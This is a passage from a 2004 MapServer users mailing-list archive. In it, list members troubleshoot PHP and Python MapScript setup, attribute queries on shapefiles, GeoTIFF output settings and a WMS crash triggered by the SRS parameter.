that the image is in the extent of the tutorial? Are you sure that your tif has the same projection like the one in the tutorial? (If you have GDAL then you can use gdalinfo on your raster to see some details.) You should correct these things that they fit your data. Regards, Norbert From pierre.giraud3 at free.fr Thu Jun 10 03:08:42 2004 From: pierre.giraud3 at free.fr (Pierre GIRAUD) Date: Thu, 10 Jun 2004 12:08:42 +0200 Subject: [Mapserver-users] phpmapscript basic error? In-Reply-To: <1086857952.40c822e093fb2@webmail.esm2.imt-mrs.fr> References: <1086857952.40c822e093fb2@webmail.esm2.imt-mrs.fr> Message-ID: <40C8332A.40301@free.fr> Hello, did you load the php_mapscript library before calling your mapscript functions ? If you're using linux, it's the cas in fact, try a simple testing php file : This should return the same results as "$mapserv -v". Pierre GIRAUD camptocamp S?bastien DUBOIS wrote: >Hi all, >thanks to you to read this post with guys like you i'm improving day after day >to be able to answer query too ... ;-) > >well i've start to code in phpmapscript and when I use ms_newmapobj() >this is the error I got : > >Fatal error: Call to undefined function: ms_newmapobj() in >/var/www/html/workshop/phpmapscript/test.php on line 110 > >but this is my config on redaht 9 > >MapScript >MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF >SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT >SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL >INPUT=SHAPEFILE > > >PHP MapScript Version ($Revision: 1.194.2.3 $ $Date: 2004/05/13 21:37:44 $) > >To my ming the installation is ok so why mapserv don't locate ms_functions???? > >thanks in advance > > > > From josb at pml.ac.uk Thu Jun 10 03:53:33 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Thu, 10 Jun 2004 11:53:33 +0100 Subject: [Mapserver-users] mapscript and float32 geotiffs Message-ID: <40C83DAD.6010506@pml.ac.uk> Hi, I'm trying to produce a 32-bit floating point geotiff as output from a Python-Mapscript program. A similar thing used to work with the CGI mapserv program with the OUTPUTFORMAT set as following: OUTPUTFORMAT NAME FGTiff DRIVER "GDAL/GTiff" MIMETYPE "image/tiff" IMAGEMODE FLOAT32 EXTENSION "tif" END However, I need to do a similar thing in mapscript and I run into a segmentation fault. The top of the stacktrace looks like: #0 0x4073c39d in msImageInitGD (image=0x823f700, background=0x40d72ea4) at mapgd.c:137 #1 0x407369bc in msDrawMap (map=0x40d4a008) at mapdraw.c:142 #2 0x406c19ea in mapObj_draw (self=0x0) at mapscript_wrap.c:2403 #3 0x406e41ac in _wrap_mapObj_draw (self=0x0, args=0x0) at mapscript_wrap.c:18792 #4 0x080f3469 in PyCFunction_Call (func=0x405d198c, arg=0x407a7aec, kw=0x0) at Objects/methodobject.c:108 My code to setup the output format object is as follows: formatObj = mapscript.outputFormatObj("GDAL/GTiff") formatObj.name = "fgtiff" formatObj.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 formatObj.mimetype = "image/tiff" formatObj.extension = "tif" mapObj.outputformat = formatObj Any ideas why this might be happening or how to fix it? Many thanks, - John -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From Frank.Broniewski at mnha.etat.lu Thu Jun 10 04:04:34 2004 From: Frank.Broniewski at mnha.etat.lu (Frank Broniewski) Date: Thu, 10 Jun 2004 13:04:34 +0200 Subject: [Mapserver-users] PHP/Mapscript: Searching for Attributes Message-ID: <002601c44eda$b670cf60$aa696e94@EPCCARTOGIS> Hello all I'm still trying to find a way to search for attributes of a shapefile and center on the found locations or items. To be more precise, I will describe my data. I have a point shapefile with location names. Through a web interface, I want to enable the user to search for a location by name. The entry in my .map file for the point-shp is as followed: LAYER Name "Bezeichnung" Data maps/toponyme Status ON Type Point LabelItem "toponyme" ClassItem "Nature" CLASS Name "Communes" Expression "Commune" Color 255 0 0 LABEL Color 25 25 25 ShadowColor 225 225 225 ShadowSize 1 1 Type TRUETYPE Font arial Size 10 AntiAlias TRUE Position CC Partials FALSE END END END 1) First thing is, I didn't enter a TEMPLATE expression, because I don't know how to enter it with the correct values. As my homepage is created dynamically like: $image = $map->draw(); $image_url = $image->saveWebImage(); When you enter a .html file as a parameter to TEMPLATE, how do I deal with this as I use a .php? Looking at the the gmap - demo, they use a nonexisting file as TEMPLATE parameter (ttt_query.html). But how can I use the values provided to the .html file? 2) In my .php file I used the queryByAttribute method to query my layer. With the kind help of this list I managed to make it perform my query. But I'm not sure, if I used it correctly for my purpose. The code is as followed: $mySearchLayer = $MapObj->getLayerByName("Toponyme"); if ( $mySearchLayer->queryByAttributes("TOPONYME","BERTRANGE","MS_SINGLE") == "MS_SUCCESS" ) { $myErgQuery = $MapObj->drawQuery(); $QueryImage = $myErgQuery->saveWebImage("MS_PNG",1,1,0); } else { $fehler = "Nicht gefunden"; echo $fehler; } It returns me, whatever searchparameter I enter, the whole map without marked points. The query thing is keeping me busy quite a few days now and I'm getting more and more confused. I did a search on the mailing-list archives but the few informations provided there just don't get me on the right path, as I seem to lack the ability to understand the methods like querybyattribute right. Can some kind reader show me in a general manner how I can perform an attribute query on a shapefile and get some coordinate values returned? Many thanks in advance Frank Broniewski Mus?e National d'Histoire et d'Art Section Pr?histoire / Projet EPC T?l: +352 260 281-21 241, Rue de Luxembourg L-8077 Bertrange From craig.gould at bt.com Thu Jun 10 04:32:49 2004 From: craig.gould at bt.com (craig.gould at bt.com) Date: Thu, 10 Jun 2004 12:32:49 +0100 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <7497DCA1C240C042B28F6657ADFD8E0909D66F0F@i2km11-ukbr.domain1.systemhost.net> John, I and a few others have found the same problem. The way round it is to create a web page that is called instead of the opengis mapserver. This page forwards the request to the mapserver but strips out the SRS paramater. If the map server is using the projection you want returned by default, then everything ends up OK. BTW this only happens with certain projection types. Regards, Craig. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John Pulles Sent: 10 June 2004 10:28 To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] crash using srs parameter in getmap request Hi List Using a map file with projection settings as shown below, I get a crash of mapserver when doing an opengis getmap request with &srs=epsg:28992. With an absent srs parameter or with &srs=epsg:4326 a correct map is returned. Does anyone have an idea what could be wrong? BTW: I am using MapServer version 4.2-beta2 on W2K, with the PROJ_LIB environment variable set to the directory containing the epsg file. Regards, John Pulles. MAP NAME "Demo" PROJECTION # RD "init=EPSG:28992" END EXTENT 10000 305000 280000 619000 SHAPEPATH "c:\kaarten" UNITS meters WEB METADATA "wms_title" "Demo" "wms_srs" "EPSG:4326 EPSG:28992" END END LAYER NAME provincies DATA "provincies" STATUS ON METADATA "wms_title" "Provincies" "wms_srs" "EPSG:4326 EPSG:28992" END TYPE POLYGON CLASS COLOR 212 212 212 OUTLINECOLOR 0 0 0 END PROJECTION # RD "init=EPSG:28992" END END END -------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From norbert.thieme at ilmenau.baw.de Thu Jun 10 05:20:00 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Thu, 10 Jun 2004 14:20:00 +0200 Subject: [Mapserver-users] PHP/Mapscript: Searching for Attributes In-Reply-To: <002601c44eda$b670cf60$aa696e94@EPCCARTOGIS> References: <002601c44eda$b670cf60$aa696e94@EPCCARTOGIS> Message-ID: <40C851F0.1030506@ilmenau.baw.de> Frank Broniewski schrieb: > Hello all > > I'm still trying to find a way to search for attributes of a shapefile > and center on the found locations or items. To be more precise, I will > describe my data. I have a point shapefile with location names. Through > a web interface, I want to enable the user to search for a location by > name. > The entry in my .map file for the point-shp is as followed: > > LAYER > Name "Bezeichnung" > Data maps/toponyme > Status ON > Type Point > > LabelItem "toponyme" > ClassItem "Nature" > > CLASS > Name "Communes" > Expression "Commune" > Color 255 0 0 > LABEL > Color 25 25 25 > ShadowColor 225 225 225 > ShadowSize 1 1 > Type TRUETYPE > Font arial > Size 10 > AntiAlias TRUE > Position CC > Partials FALSE > END > END > END > > 1) First thing is, I didn't enter a TEMPLATE expression, because I don't > know how to enter it with the correct values. As my homepage is created > dynamically like: > > $image = $map->draw(); > $image_url = $image->saveWebImage(); > > When you enter a .html file as a parameter to TEMPLATE, how do I deal > with this as I use a .php? Looking at the the gmap - demo, they use a > nonexisting file as TEMPLATE parameter (ttt_query.html). But how can I > use the values provided to the .html file? > > 2) In my .php file I used the queryByAttribute method to query my layer. > With the kind help of this list I managed to make it perform my query. > But I'm not sure, if I used it correctly for my purpose. The code is as > followed: > > $mySearchLayer = $MapObj->getLayerByName("Toponyme"); > if ( > $mySearchLayer->queryByAttributes("TOPONYME","BERTRANGE","MS_SINGLE") == > "MS_SUCCESS" ) { > $myErgQuery = $MapObj->drawQuery(); > $QueryImage = $myErgQuery->saveWebImage("MS_PNG",1,1,0); > } else { > $fehler = "Nicht gefunden"; > echo $fehler; > } > > It returns me, whatever searchparameter I enter, the whole map without > marked points. The query thing is keeping me busy quite a few days now > and I'm getting more and more confused. I did a search on the > mailing-list archives but the few informations provided there just don't > get me on the right path, as I seem to lack the ability to understand > the methods like querybyattribute right. > > Can some kind reader show me in a general manner how I can perform an > attribute query on a shapefile and get some coordinate values returned? > > Many thanks in advance > > > Frank Broniewski > Mus?e National d'Histoire et d'Art > Section Pr?histoire / Projet EPC > T?l: +352 260 281-21 > 241, Rue de Luxembourg > L-8077 Bertrange > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, your querybyattributes seem fine on the first look. TEMPLATE is a keyword in the mapfile that tells the mapserver that the layer can be queried. You can use some kind of dummy you don't need that to be a special file when using php. For the hiliting you have to define it in your mapfile under querymap. (http://mapserver.gis.umn.edu/doc40/mapfile-reference.html#querymap) I don't know if this is a good way but you can use th following for the zooming and so on. (http://mapserver.gis.umn.edu/doc40/phpmapscript-class-guide.html) With layer->getnumresults you get the number of results and then you can loop through the resultcache and use $layer->getresult($i) to get each resultcachemember with shape- and tileindex. Then you can use layer->open and then the getshape function to get a shapeobj with all items, values and a rectobj with coordinates. With the coordinates you can make a new extent in the size you want.Then you have to get the map extent and save it somewhere then put the new extent to the map and then draw the query. After that you can set the normal extent back to your map. Hope it helps, Norbert From schaumberger at gmx.net Thu Jun 10 05:21:15 2004 From: schaumberger at gmx.net (Andreas Schaumberger) Date: Thu, 10 Jun 2004 14:21:15 +0200 Subject: [Mapserver-users] jBox setbox_handler problem Message-ID: <000301c44ee5$6d5f3590$8c00000a@SCHAUMBERGER> Dear List, I have a problem with jbox applet. Whenever I try to draw a zoombox or click on the map, the applet throws an Exception like this: netscape.javascript.JSException: Failure to evaluate setbox_handle ('jBox',82.0,80.0,253.0,186.0); at sun.plugin.javascript.ocx.JSObject.eval(Unknown Source) at evalThread.run(Unknown Source) I use the JRE 1.4.2_01 and IE 6.0. My setbox_handler function is exactly the same which is mentioned on the jBox-howTo-document. What should I do? Thanks a lot for help, Andreas Schaumberger From sebastien.dubois at esm2.imt-mrs.fr Thu Jun 10 05:46:28 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Thu, 10 Jun 2004 14:46:28 +0200 Subject: [Mapserver-users] phpmapscript basic error? In-Reply-To: <40C8332A.40301@free.fr> References: <1086857952.40c822e093fb2@webmail.esm2.imt-mrs.fr> <40C8332A.40301@free.fr> Message-ID: <1086871588.40c85824f2670@webmail.esm2.imt-mrs.fr> you're right i need to put dl('php_mapscript.so'); in my test.php to allow me to use all the ms_functions thanks a lot (in fact i'd test with ms_info.php that phpmapscript was well configured with php_info()) have a nice day -- S?bastien DUBOIS 1024D/A1140BCB:1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB Quoting Pierre GIRAUD : > Hello, > > did you load the php_mapscript library before calling your mapscript > functions ? > > If you're using linux, it's the cas in fact, > > try a simple testing php file : > > dl('php_mapscript.so'); //load the library > php_info(); > ?> > > This should return the same results as "$mapserv -v". > > Pierre GIRAUD > camptocamp > > > > S?bastien DUBOIS wrote: > > >Hi all, > >thanks to you to read this post with guys like you i'm improving day after > day > >to be able to answer query too ... ;-) > > > >well i've start to code in phpmapscript and when I use ms_newmapobj() > >this is the error I got : > > > >Fatal error: Call to undefined function: ms_newmapobj() in > >/var/www/html/workshop/phpmapscript/test.php on line 110 > > > >but this is my config on redaht 9 > > > >MapScript > >MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > OUTPUT=SWF > >SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > >SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR INPUT=GDAL > >INPUT=SHAPEFILE > > > > > >PHP MapScript Version ($Revision: 1.194.2.3 $ $Date: 2004/05/13 21:37:44 $) > > > > >To my ming the installation is ok so why mapserv don't locate > ms_functions???? > > > >thanks in advance > > > > > > > > > > ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From douguoli at yahoo.com.cn Thu Jun 10 05:50:37 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Thu, 10 Jun 2004 20:50:37 +0800 (CST) Subject: [Mapserver-users] help! Message-ID: <20040610125037.14876.qmail@web15213.mail.bjs.yahoo.com> --0-1309228387-1086871837=:11521 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit I am new to GIS and am trying to implement a web-based navigation system to display Ordnance Survey MasterMap data. Below are the technologies availabe: 1.PHP; 2.MySQL; 3.OS MasterMap 4.MapServer 5.Apache on Windows XP Could someone tell me how MasterMap be used by MapServer so that I can extract location information from MapServer and MySQL? Your help would be appreciated Best regards, Zhengda Lu --------------------------------- Do You Yahoo!? ?????????????????????????????? --0-1309228387-1086871837=:11521 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
I am new to GIS and am trying to implement a web-based navigation system to display Ordnance Survey MasterMap data. Below are the technologies availabe:
1.PHP;
2.MySQL;
3.OS MasterMap
4.MapServer
5.Apache on Windows XP
 
Could someone tell me how MasterMap be used by MapServer so that I can extract location information from MapServer and MySQL?
 
Your help would be appreciated
 
Best regards,
Zhengda Lu



Do You Yahoo!?
?????????????????????????????? --0-1309228387-1086871837=:11521-- From douguoli at yahoo.com.cn Thu Jun 10 05:52:59 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Thu, 10 Jun 2004 20:52:59 +0800 (CST) Subject: [Mapserver-users] Using OS MasterMap with MapServer Message-ID: <20040610125259.86544.qmail@web15204.mail.bjs.yahoo.com> --0-39177751-1086871979=:85372 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit I am new to GIS and am trying to implement a web-based navigation system to display Ordnance Survey MasterMap data. Below are the technologies availabe: 1.PHP; 2.MySQL; 3.OS MasterMap 4.MapServer 5.Apache on Windows XP Could someone tell me how MasterMap be used by MapServer so that I can extract location information from MapServer and MySQL? Your help would be appreciated Best regards, Zhengda Lu --------------------------------- Do You Yahoo!? ?????????????????????????????? --0-39177751-1086871979=:85372 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
I am new to GIS and am trying to implement a web-based navigation system to display Ordnance Survey MasterMap data. Below are the technologies availabe:
1.PHP;
2.MySQL;
3.OS MasterMap
4.MapServer
5.Apache on Windows XP
 
Could someone tell me how MasterMap be used by MapServer so that I can extract location information from MapServer and MySQL?
 
Your help would be appreciated
 
Best regards,
Zhengda Lu



Do You Yahoo!?
?????????????????????????????? --0-39177751-1086871979=:85372-- From Tom.Kralidis at ec.gc.ca Thu Jun 10 06:04:21 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Thu, 10 Jun 2004 09:04:21 -0400 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <2576812186CDD411BF1500508B6DCE9507366F7D@ecnwri1.ontario.int.ec.gc.ca> Comments: - What do you mean by MapServer crashing? Are you getting a 500 error? Are you getting an OGC Service Exception Report XML document? - What is the *native* projection of the data? This is what should be declared in the PROJECTION block foreach layer - try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") - trying a WMS GetMap request without the SRS keyword is an invalid request, and should throw an exception - WMS is not the problem. A WMS shall support all SRS projections it advertises in Capabilities ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > craig.gould at bt.com > Sent: Thursday, June 10, 2004 7:33 AM > To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] crash using srs parameter in > getmap request > > > John, > I and a few others have found the same problem. > The way round it is to create a web page that is called > instead of the opengis mapserver. This page forwards the > request to the mapserver but strips out the SRS paramater. If > the map server is using the projection you want returned by > default, then everything ends up OK. BTW this only happens > with certain projection types. Regards, Craig. > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > John Pulles > Sent: 10 June 2004 10:28 > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] crash using srs parameter in getmap request > > > Hi List > > Using a map file with projection settings as shown below, I > get a crash of mapserver when doing an opengis getmap request > with &srs=epsg:28992. With an absent srs parameter or with > &srs=epsg:4326 a correct map is returned. Does anyone have an > idea what could be wrong? > > BTW: I am using MapServer version 4.2-beta2 on W2K, with the > PROJ_LIB environment variable set to the directory containing > the epsg file. > > > Regards, > John Pulles. > > MAP > NAME "Demo" > > PROJECTION > # RD > "init=EPSG:28992" > END > > EXTENT 10000 305000 280000 619000 > > SHAPEPATH "c:\kaarten" > UNITS meters > > WEB > METADATA > "wms_title" "Demo" > "wms_srs" "EPSG:4326 EPSG:28992" > END > END > > LAYER > NAME provincies > DATA "provincies" > STATUS ON > METADATA > "wms_title" "Provincies" > "wms_srs" "EPSG:4326 EPSG:28992" > END > TYPE POLYGON > CLASS > COLOR 212 212 212 > OUTLINECOLOR 0 0 0 > END > PROJECTION > # RD > "init=EPSG:28992" > END > END > END > > -------------------- > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > _______________________________________________ > > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From craig.gould at bt.com Thu Jun 10 06:17:03 2004 From: craig.gould at bt.com (craig.gould at bt.com) Date: Thu, 10 Jun 2004 14:17:03 +0100 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <7497DCA1C240C042B28F6657ADFD8E0909D66F10@i2km11-ukbr.domain1.systemhost.net> Tom, If John's crash is anything like the crash I experienced then it is the actual mapserv process on the machine that crashes with a null pointer exception somewhere. This crash only happens with certain types of projections. I was using British National Grid (BNG). The native projection of the WMS server was BNG, and the native projection of the WMS client was BNG. However if I include the SRS parameter then the map server process on the WMS server crashed (however not if you used a browser and did a standard request). If I took out the SRS parameter via a redirecting page the process did not crash. Upper and lower case made no difference for me. The application still crashed. BTW, when I found this problem I posted it on this list, but got no answer back. Since then at least two other people have posted similar problems. Each time I've let them know how I got round the problem. Unfortunately I can't get seem to get map server to compile on my win machine so I can't look into where this may be happening. Craig. -----Original Message----- From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] Sent: 10 June 2004 14:04 To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] crash using srs parameter in getmap request Comments: - What do you mean by MapServer crashing? Are you getting a 500 error? Are you getting an OGC Service Exception Report XML document? - What is the *native* projection of the data? This is what should be declared in the PROJECTION block foreach layer - try your "wms_srs" declaration with lowercase (i.e. "init=epsg:28992") - trying a WMS GetMap request without the SRS keyword is an invalid request, and should throw an exception - WMS is not the problem. A WMS shall support all SRS projections it advertises in Capabilities ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > craig.gould at bt.com > Sent: Thursday, June 10, 2004 7:33 AM > To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] crash using srs parameter in > getmap request > > > John, > I and a few others have found the same problem. > The way round it is to create a web page that is called > instead of the opengis mapserver. This page forwards the > request to the mapserver but strips out the SRS paramater. If > the map server is using the projection you want returned by > default, then everything ends up OK. BTW this only happens > with certain projection types. Regards, Craig. > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > John Pulles > Sent: 10 June 2004 10:28 > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] crash using srs parameter in getmap request > > > Hi List > > Using a map file with projection settings as shown below, I > get a crash of mapserver when doing an opengis getmap request > with &srs=epsg:28992. With an absent srs parameter or with > &srs=epsg:4326 a correct map is returned. Does anyone have an > idea what could be wrong? > > BTW: I am using MapServer version 4.2-beta2 on W2K, with the > PROJ_LIB environment variable set to the directory containing > the epsg file. > > > Regards, > John Pulles. > > MAP > NAME "Demo" > > PROJECTION > # RD > "init=EPSG:28992" > END > > EXTENT 10000 305000 280000 619000 > > SHAPEPATH "c:\kaarten" > UNITS meters > > WEB > METADATA > "wms_title" "Demo" > "wms_srs" "EPSG:4326 EPSG:28992" > END > END > > LAYER > NAME provincies > DATA "provincies" > STATUS ON > METADATA > "wms_title" "Provincies" > "wms_srs" "EPSG:4326 EPSG:28992" > END > TYPE POLYGON > CLASS > COLOR 212 212 212 > OUTLINECOLOR 0 0 0 > END > PROJECTION > # RD > "init=EPSG:28992" > END > END > END > > -------------------- > > > > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > _______________________________________________ > > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From Tom.Kralidis at ec.gc.ca Thu Jun 10 06:19:05 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Thu, 10 Jun 2004 09:19:05 -0400 Subject: [Mapserver-users] crash using srs parameter in getmap request Message-ID: <2576812186CDD411BF1500508B6DCE9507366F7E@ecnwri1.ontario.int.ec.gc.ca> Hi, Actually, one of my colleagues had this issue a few days ago. Upgrading to 4.2 eliminated the problem. Maybe this will work for you? ..Tom > -----Original Message----- > From: craig.gould at bt.com [mailto:craig.gould at bt.com] > Sent: Thursday, June 10, 2004 9:17 AM > To: Kralidis,Tom [Burlington]; john.pulles at geodan.nl; > mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] crash using srs parameter in > getmap request > > > Tom, > > If John's crash is anything like the crash I experienced then > it is the actual mapserv process on the machine that crashes > with a null pointer exception somewhere. > > This crash only happens with certain types of projections. I > was using British National Grid (BNG). The native projection > of the WMS server was BNG, and the native projection of the > WMS client was BNG. However if I include the SRS parameter > then the map server process on the WMS server crashed > (however not if you used a browser and did a standard > request). If I took out the SRS parameter via a redirecting > page the process did not crash. > > Upper and lower case made no difference for me. The > application still crashed. > > BTW, when I found this problem I posted it on this list, but > got no answer back. Since then at least two other people have > posted similar problems. Each time I've let them know how I > got round the problem. Unfortunately I can't get seem to get > map server to compile on my win machine so I can't look into > where this may be happening. > > Craig. > > > > > -----Original Message----- > From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis at ec.gc.ca] > Sent: 10 June 2004 14:04 > To: Gould,CR,Craig,XGH6A C; john.pulles at geodan.nl; > mapserver-users at lists.gis.umn.edu > Subject: RE: [Mapserver-users] crash using srs parameter in > getmap request > > > > Comments: > > - What do you mean by MapServer crashing? Are you getting a > 500 error? Are you getting an OGC Service Exception Report > XML document? > - What is the *native* projection of the data? This is what > should be declared in the PROJECTION block foreach layer > - try your "wms_srs" declaration with lowercase (i.e. > "init=epsg:28992") > - trying a WMS GetMap request without the SRS keyword is an > invalid request, and should throw an exception > - WMS is not the problem. A WMS shall support all SRS > projections it advertises in Capabilities > > ..Tom > > ========================= > Tom Kralidis > Systems Scientist > Environment Canada > Tel: +01-905-336-4409 > http://www.ec.gc.ca/ > > > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > > craig.gould at bt.com > > Sent: Thursday, June 10, 2004 7:33 AM > > To: john.pulles at geodan.nl; mapserver-users at lists.gis.umn.edu > > Subject: RE: [Mapserver-users] crash using srs parameter in > > getmap request > > > > > > John, > > I and a few others have found the same problem. > > The way round it is to create a web page that is called > instead of the > > opengis mapserver. This page forwards the request to the > mapserver but > > strips out the SRS paramater. If the map server is using the > > projection you want returned by default, then everything > ends up OK. > > BTW this only happens with certain projection types. Regards, Craig. > > > > > > -----Original Message----- > > From: mapserver-users-admin at lists.gis.umn.edu > > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of John > > Pulles > > Sent: 10 June 2004 10:28 > > To: mapserver-users at lists.gis.umn.edu > > Subject: [Mapserver-users] crash using srs parameter in > getmap request > > > > > > Hi List > > > > Using a map file with projection settings as shown below, I get a > > crash of mapserver when doing an opengis getmap request with > > &srs=epsg:28992. With an absent srs parameter or with > &srs=epsg:4326 a > > correct map is returned. Does anyone have an idea what > could be wrong? > > > > BTW: I am using MapServer version 4.2-beta2 on W2K, with > the PROJ_LIB > > environment variable set to the directory containing the epsg file. > > > > > > Regards, > > John Pulles. > > > > MAP > > NAME "Demo" > > > > PROJECTION > > # RD > > "init=EPSG:28992" > > END > > > > EXTENT 10000 305000 280000 619000 > > > > SHAPEPATH "c:\kaarten" > > UNITS meters > > > > WEB > > METADATA > > "wms_title" "Demo" > > "wms_srs" "EPSG:4326 EPSG:28992" > > END > > END > > > > LAYER > > NAME provincies > > DATA "provincies" > > STATUS ON > > METADATA > > "wms_title" "Provincies" > > "wms_srs" "EPSG:4326 EPSG:28992" > > END > > TYPE POLYGON > > CLASS > > COLOR 212 212 212 > > OUTLINECOLOR 0 0 0 > > END > > PROJECTION > > # RD > > "init=EPSG:28992" > > END > > END > > END > > > > -------------------- > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > _______________________________________________ > > > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > From sgillies at frii.com Thu Jun 10 06:28:28 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 10 Jun 2004 07:28:28 -0600 Subject: [Mapserver-users] mapscript and float32 geotiffs In-Reply-To: <40C83DAD.6010506@pml.ac.uk> References: <40C83DAD.6010506@pml.ac.uk> Message-ID: <0EFB4769-BAE2-11D8-9095-000D9329D732@frii.com> On Jun 10, 2004, at 4:53 AM, John Beisley - RSG wrote: > Hi, > > I'm trying to produce a 32-bit floating point geotiff as output from a > Python-Mapscript program. A similar thing used to work with the CGI > mapserv program with the OUTPUTFORMAT set as following: > > OUTPUTFORMAT > NAME FGTiff > DRIVER "GDAL/GTiff" > MIMETYPE "image/tiff" > IMAGEMODE FLOAT32 > EXTENSION "tif" > END > > However, I need to do a similar thing in mapscript and I run into a > segmentation fault. The top of the stacktrace looks like: > #0 0x4073c39d in msImageInitGD (image=0x823f700, > background=0x40d72ea4) > at mapgd.c:137 > #1 0x407369bc in msDrawMap (map=0x40d4a008) at mapdraw.c:142 > #2 0x406c19ea in mapObj_draw (self=0x0) at mapscript_wrap.c:2403 > #3 0x406e41ac in _wrap_mapObj_draw (self=0x0, args=0x0) > at mapscript_wrap.c:18792 > #4 0x080f3469 in PyCFunction_Call (func=0x405d198c, arg=0x407a7aec, > kw=0x0) > at Objects/methodobject.c:108 > > My code to setup the output format object is as follows: > > formatObj = mapscript.outputFormatObj("GDAL/GTiff") > formatObj.name = "fgtiff" > formatObj.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 > formatObj.mimetype = "image/tiff" > formatObj.extension = "tif" > mapObj.outputformat = formatObj > > Any ideas why this might be happening or how to fix it? > > Many thanks, > > - John > Hi John, The Python MapScript maintainer (me) and the GDAL guru (Frank) are both away from work at the users meeting. I don't have the resources to test, but I do see several things right away. Here is 4.2 code that should work. Note the differences # format name should be passed as an arg to factory new_format = mapscript.outputFormatObj('GDAL/GTiff', 'fgtiff') new_format.imagemode = mapscript.MS_IMAGEMODE_FLOAT32 # Everything else is OK, no need to set mimetype or extension # Insert into map. your_map.appendOutputFormat(new_format) # Activate your_map.setImageType('fgtiff') I can't help but make a style suggestion -- mapscript.mapObj is a class. If you name instances of this class mapObj as well, you will eventually run into trouble right? Or maybe you are using the experimental next generation API with 'Map', 'Layer', etc, in which case 